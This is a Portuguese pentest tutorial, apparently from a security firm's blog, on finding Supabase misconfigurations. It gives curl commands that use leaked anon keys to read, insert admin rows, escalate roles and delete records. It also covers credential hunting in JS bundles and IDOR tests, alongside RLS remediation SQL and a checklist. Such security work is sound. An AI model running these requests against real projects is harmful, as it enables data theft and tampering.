O Supabase se posiciona como a alternativa open source ao Firebase: um banco PostgreSQL gerenciado, autenticação, armazenamento de arquivos, funções serverless e uma API REST gerada automaticamente a partir do schema do banco.
Para o pentester, porém, esse cenário tem implicações diretas.
O Supabase foi projetado para permitir acesso ao banco diretamente do frontend, via chave pública.
O que protege os dados não é a obscuridade nem a autenticação no gateway, mas a configuração de Row Level Security (RLS) nas tabelas do PostgreSQL. Quando essa configuração está ausente ou incorreta, a superfície de ataque é trivialmente explorável.
Entendendo a arquitetura e os tokens do Supabase
Antes de testar qualquer endpoint, é necessário entender o modelo de autenticação do Supabase. Ele usa JWTs para todas as requisições e distingue três papéis principais, cada um com nível de privilégio diferente:
| TOKEN / PAPEL | PRIVILÉGIO | RISCO DE EXPOSIÇÃO |
| anon key | Baixo (depende do RLS) | Alta: projetada para ficar no frontend. Crítica se o RLS estiver ausente. |
| authenticated JWT | Médio (escopo do usuário) | Média: obtida após o login. Pode ser capturado via proxy. |
| service_role key | Total (bypass de RLS) | Crítica: nunca deve aparecer no frontend. Acesso irrestrito ao banco. |
A regra de ouro é: a anon key é pública por design. O que protege o banco é o RLS, não a chave. Se o RLS não estiver habilitado e configurado corretamente, qualquer pessoa com a anon key terá acesso irrestrito a todas as tabelas.
Fase 1: Reconhecimento e extração de credenciais
A primeira etapa em um pentest de aplicações que usa Supabase é encontrar as credenciais de acesso. Elas aparecem em locais previsíveis e podem ser extraídas sem qualquer ferramenta especial.
Extraindo chaves do bundle JavaScript
Aplicações React, Vue, Next.js e similares frequentemente incluem as variáveis de ambiente no bundle de produção. Ao inspecionar o JS da aplicação ou usar o DevTools do navegador, é comum encontrar um bloco similar ao abaixo:
// JavaScript / Bundle
|
// Presente no bundle JavaScript da aplicação const supabaseUrl = "https://xyzabcdef.supabase.co" const supabaseAnon = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." // Em aplicações Next.js, buscar por NEXT_PUBLIC_SUPABASE_URL // Em Vite/React, buscar por VITE_SUPABASE_URL // Em apps compiladas: DevTools > Sources > buscar "supabase.co" |
Outras fontes de credenciais
- Repositórios públicos no GitHub: buscar supabase.co ou supabase_anon_key via GitHub Search ou GitDorker.
- Arquivos .env e .env.local commitados acidentalmente no histórico git.
- Source maps (.js.map) que referenciam o código original com variáveis em texto claro.
- Requisições de rede capturadas via Burp Suite ou mitmproxy revelando o header apikey em chamadas autenticadas.
- Repositórios de código de app mobile (React Native, Flutter) com credenciais hardcoded.
Identificando o service_role key
O service_role key é ainda mais crítico do que a anon key, pois ele contorna completamente o RLS. Se aparecer em qualquer lugar acessível ao cliente, o banco inteiro estará comprometido.
Ele pode aparecer em:
- Variáveis de ambiente de funções serverless com deploys incorretamente.
- Pipelines de CI/CD com logs públicos.
- Arquivos de configuração em repositórios com visibilidade incorreta.
- Headers de requisição capturados: Authorization: Bearer eyJ…service_role…
Fase 2: Enumeração via REST API
O Supabase gera automaticamente uma API REST baseada no schema do banco PostgreSQL.
Cada tabela vira um endpoint no padrão /rest/v1/{nome_da_tabela}.
Isso significa que, com a URL do projeto e a anon key, um atacante pode tentar interagir com qualquer tabela cujo nome consiga adivinhar ou descobrir.
Estrutura dos endpoints
// HTTP
|
# Padrão de URL do Supabase https://<project-ref>.supabase.co/rest/v1/<tabela> # Headers obrigatórios em toda requisição apikey: <anon-key-ou-service-role-key> Authorization: Bearer <jwt-token> # Exemplos de endpoints comuns para tentar GET /rest/v1/users GET /rest/v1/profiles GET /rest/v1/orders GET /rest/v1/organizations GET /rest/v1/notifications GET /rest/v1/calls GET /rest/v1/payments |
Teste de leitura não autenticada
// Shell
|
# Tentativa de leitura com anon key (sem usuário autenticado) curl -X GET "https://xyzabcdef.supabase.co/rest/v1/users" \ -H "apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Resposta com RLS desabilitado (vulnerável): # [{"id":1,"email":"admin@empresa.com","role":"admin",...}, ...] # Resposta com RLS habilitado e sem política permissiva: # [] (array vazio, acesso negado) |
Seleção de colunas e exfiltração de schema
O Supabase suporta o parâmetro select para especificar quais colunas retornar.
Sem restrições de RLS, isso permite exfiltrar campos específicos, incluindo colunas sensíveis que poderiam estar ocultas na UI:
// HTTP
|
# Retornar todas as colunas GET /rest/v1/users?select=* # Retornar apenas colunas específicas GET /rest/v1/users?select=id,email,role,created_at # Filtros por valor (sem autenticação, se o RLS estiver ausente) GET /rest/v1/users?role=eq.admin GET /rest/v1/users?email=like.*empresa.com # Descoberta de schema via endpoint introspect GET /rest/v1/ # Retorna lista de todos os recursos (tabelas) disponíveis |
A introspecção via GET /rest/v1/ lista automaticamente todas as tabelas expostas pelo PostgREST. Isso elimina a necessidade de adivinhar nomes: o próprio Supabase entrega o mapa completo do banco de dados.
Operações de escrita
Se a anon key permite leitura sem RLS, as operações de escrita costumam estar igualmente abertas. Isso inclui inserção, atualização e remoção de dados de qualquer usuário:
// Shell
|
# Inserção de registro arbitrário curl -X POST "https://xyzabcdef.supabase.co/rest/v1/users" \ -H "apikey: <anon-key>" \ -H "Authorization: Bearer <anon-key>" \ -H "Content-Type: application/json" \ -d '{"email":"attacker@evil.com","role":"admin"}' # Atualização de registro existente (sem verificar ownership) curl -X PATCH "https://xyzabcdef.supabase.co/rest/v1/users?id=eq.42" \ -H "apikey: <anon-key>" \ -H "Authorization: Bearer <anon-key>" \ -H "Content-Type: application/json" \ -d '{"role":"admin"}' # Remoção de registro curl -X DELETE "https://xyzabcdef.supabase.co/rest/v1/users?id=eq.42" \ -H "apikey: <anon-key>" \ -H "Authorization: Bearer <anon-key>" |
Fase 3: Escalada com usuário autenticado
Mesmo quando a anon key sozinha não retornar dados (RLS habilitado), ainda é possível testar falhas de controle de acesso horizontal após a criação de uma conta de teste.
O Supabase expõe endpoints de autenticação diretamente via /auth/v1/
Criando conta de teste e obtendo JWT
// Shell
|
# Registro de nova conta (se o registro público estiver habilitado) curl -X POST "https://xyzabcdef.supabase.co/auth/v1/signup" \ -H "apikey: <anon-key>" \ -H "Content-Type: application/json" \ -d '{"email":"test@pentest.local","password":"P3ntest@2025!"}' # Resposta inclui access_token JWT do usuário criado: # { "access_token": "eyJhbGc...", "user": { "id": "uuid-aqui", ... } } # Login em conta existente curl -X POST "https://xyzabcdef.supabase.co/auth/v1/token?grant_type=password" \ -H "apikey: <anon-key>" \ -H "Content-Type: application/json" \ -d '{"email":"user@empresa.com","password":"senha"}' |
Testando controle de acesso horizontal (IDOR via RLS)
Com o JWT do usuário criado, testa-se se as políticas do RLS estão corretamente restritas por ownership.
A falha mais comum é uma política que verifica apenas auth.uid() IS NOT NULL sem comparar com o UID do dono do recurso:
// Shell
|
# Com JWT do usuário A (id: uuid-usuario-a) # Tentativa de ler dados do usuário B (id: uuid-usuario-b) curl -X GET "https://xyzabcdef.supabase.co/rest/v1/profiles?id=eq.uuid-usuario-b" \ -H "apikey: <anon-key>" \ -H "Authorization: Bearer <jwt-usuario-a>" # Política vulnerável (não verifica ownership): # CREATE POLICY "allow authenticated" ON profiles # FOR SELECT USING (auth.uid() IS NOT NULL); # Política correta (verifica ownership): # CREATE POLICY "allow own profile" ON profiles # FOR SELECT USING (auth.uid() = user_id); |
Verificando se service_role está exposto
Se em algum momento o token obtido retornar dados que deveriam estar protegidos por RLS habilitado, isso pode indicar que a aplicação está usando o service_role key no frontend.
Para confirmar, decodifique o JWT e verifique o campo role:
// Shell
|
# Decodificar o payload do JWT (base64 do segundo segmento) echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xl..." | \ cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool # Payload do service_role key (critico): # { "role": "service_role", "iss": "supabase", ... } # Payload da anon key (esperado no frontend): # { "role": "anon", "iss": "supabase", ... } |
O que aparece nos relatórios
Abaixo estão os achados mais frequentes em engajamentos envolvendo aplicações construídas com Supabase, organizados por severidade:
| Achado | Severidade | Descrição |
| service_role key exposta no frontend | Crítico | Acesso irrestrito e bypass total de RLS. Equivale a acesso root ao banco. |
| Tabelas sem RLS habilitado | Crítico | Qualquer portador da anon key pode realizar CRUD completo em todos os registros. |
| RLS habilitado sem políticas definidas | Crítico | Tabela completamente inacessível ou aberta dependendo do default configurado. |
| Política sem verificação de ownership | Alto | IDOR: usuário autenticado acessa dados de outros usuários. |
| Endpoint de signup público sem controle | Alto | Criação de contas em massa e possível escalada via manipulação do campo role. |
| Schema exposto via introspecção REST | Médio | Enumeração de tabelas facilita ataques direcionados subsequentes. |
Row Level Security: o que é e por que é inegociável
Row Level Security (RLS) é um recurso nativo do PostgreSQL que permite definir políticas de acesso em nível de linha.
Quando habilitado em uma tabela, toda consulta que tenta acessar aquela tabela passa por um filtro automático antes de retornar qualquer dado.
No contexto do Supabase, o RLS é o único mecanismo que impede que a anon key exponha dados. Sem ele, o modelo de segurança do Supabase entra em colapso.
Possíveis situações de uma tabela
- RLS desabilitado: qualquer requisição com anon key tem acesso irrestrito. É o estado padrão ao criar uma tabela via SQL direto.
- RLS habilitado sem políticas: nenhuma requisição retorna dados (implicit deny). Pode quebrar a aplicação se não houver políticas definidas.
- RLS habilitado com políticas corretas: acesso filtrado por regras de ownership, função ou outro critério. É um estado seguro.
Habilitando RLS e criando políticas corretas
// PostgreSQL / SQL
|
-- 1. Habilitar RLS na tabela ALTER TABLE profiles ENABLE ROW LEVEL SECURITY; -- 2. Política básica: o usuário vê apenas seu próprio perfil CREATE POLICY "usuário vê próprio perfil" ON profiles FOR SELECT USING (auth.uid() = user_id); -- 3. Política de criação: usuário só cria registro para si mesmo CREATE POLICY "usuário cria próprio perfil" ON profiles FOR INSERT WITH CHECK (auth.uid() = user_id); -- 4. Política de atualização: usuário só edita seu próprio registro CREATE POLICY "usuário edita o próprio perfil" ON profiles FOR UPDATE USING (auth.uid() = user_id) WITH CHECK (auth.uid() = user_id); -- 5. Dados públicos: qualquer usuário autenticado pode ler CREATE POLICY "dados públicos legível" ON public_content FOR SELECT USING (true); |
RBAC via custom claims no JWT
Para sistemas com papéis (admin, moderador ou usuário), é possível adicionar claims customizados ao JWT via auth.users e verificar dentro das políticas:
// PostgreSQL / SQL
|
-- Política que verifica função via custom claim no JWT CREATE POLICY "admins acessam tudo" ON sensitive_data FOR ALL USING ( auth.jwt() -> 'user_metadata' ->> 'role' = 'admin' ); -- Verificação de ownership combinada com função CREATE POLICY "usuários veem seus próprios dados ou admins" ON orders FOR SELECT USING ( auth.uid() = customer_id OR auth.jwt() -> 'user_metadata' ->> 'role' = 'admin' ); |
Remediação e checklist de segurança
A remediação de falhas no Supabase é direta, mas precisa ser sistêmica.
Corrigir uma tabela sem auditar as demais deixa o risco em aberto.
Rotação de chaves expostas
// Supabase Dashboard
|
# 1. Acesse o Supabase Dashboard > Project Settings > API # 2. Clique em "Reset" para a chave exposta # 3. Atualize todos os ambientes que usavam a chave antiga # 4. Verifique logs de acesso (Database > Logs) para atividade suspeita # Chaves que devem ser rotacionadas imediatamente se expostas: # service_role key: acesso root, rotacionar com urgência máxima # JWT secret: se exposto, permite forjar tokens arbitrários |
Auditoria de RLS em todas as tabelas
// PostgreSQL / SQL
|
-- Consulta para listar todas as tabelas sem RLS habilitado SELECT schemaname, tablename, rowsecurity FROM pg_tables WHERE schemaname = 'public' AND rowsecurity = false; -- Consulta para listar tabelas com RLS mas sem políticas SELECT t.tablename FROM pg_tables t LEFT JOIN pg_policies p ON t.tablename = p.tablename WHERE t.schemaname = 'public' AND t.rowsecurity = true AND p.tablename IS NULL; |
Checklist de deploy seguro
- Nenhuma tabela em produção deve estar com RLS desabilitado.
- Toda tabela com RLS habilitado deve ter ao menos uma política definida para cada operação usada pela aplicação.
- As políticas devem verificar auth.uid() = owner_id, não apenas auth.uid() IS NOT NULL.
- O service_role key deve existir apenas em variáveis de ambiente de servidor e nunca no cliente.
- A anon key não deve estar hardcoded no código, mas usar variáveis de ambiente com prefixo público (NEXT_PUBLIC_, VITE_).
- O registro público de usuários deverá estar desabilitado se a aplicação não for pública.
- Os logs de banco de dados deverão estar sendo monitorados para consultas anômalas.
- As funções Edge/serverless que usam service_role key devem validar a identidade do chamador antes de executar.
- O JWT secret não deverá estar em nenhum repositório, arquivo de log ou variável de ambiente do cliente.
Como é feito na Vantico?
Em engajamentos conduzidos pela Vantico, misconfigurations em Supabase seguem um padrão repetitivo: a anon key é encontrada no JavaScript, as tabelas críticas não têm RLS, e o time de desenvolvimento desconhecia que o banco estava acessível publicamente.
Nossa plataforma permite registrar esses achados em tempo real, com evidências e reprodução documentada, e acompanhar a remediação sem depender de ciclos de relatório lentos.
Conclusão
O Supabase entrega uma experiência de desenvolvimento excepcional, mas o modelo de segurança dele exige que o desenvolvedor entenda exatamente o que a anon key pode acessar.
Isso não é um defeito da plataforma, mas uma decisão de design documentada.
O que realmente transforma isso em vulnerabilidade é a falta de revisão das políticas de RLS antes de ir à produção.
Para o pentester, o Supabase representa uma superfície de ataque com comportamento previsível: URL no formato *.supabase.co, chave no bundle JS e endpoints REST documentados pelo próprio Supabase.
Quando o RLS não está configurado, a exploração é imediata e o impacto é total.
A mensagem para times de segurança é: antes de qualquer deploy com Supabase, execute a consulta de auditoria de RLS, revise cada política e confirme que o service_role key nunca tocou o cliente.
Esses três passos eliminam a maioria dos riscos documentados em produção.
Gostou deste artigo?
Leia mais em nosso Laboratório de Testes.
Siga-nos nas redes sociais para ficar por dentro das novidades.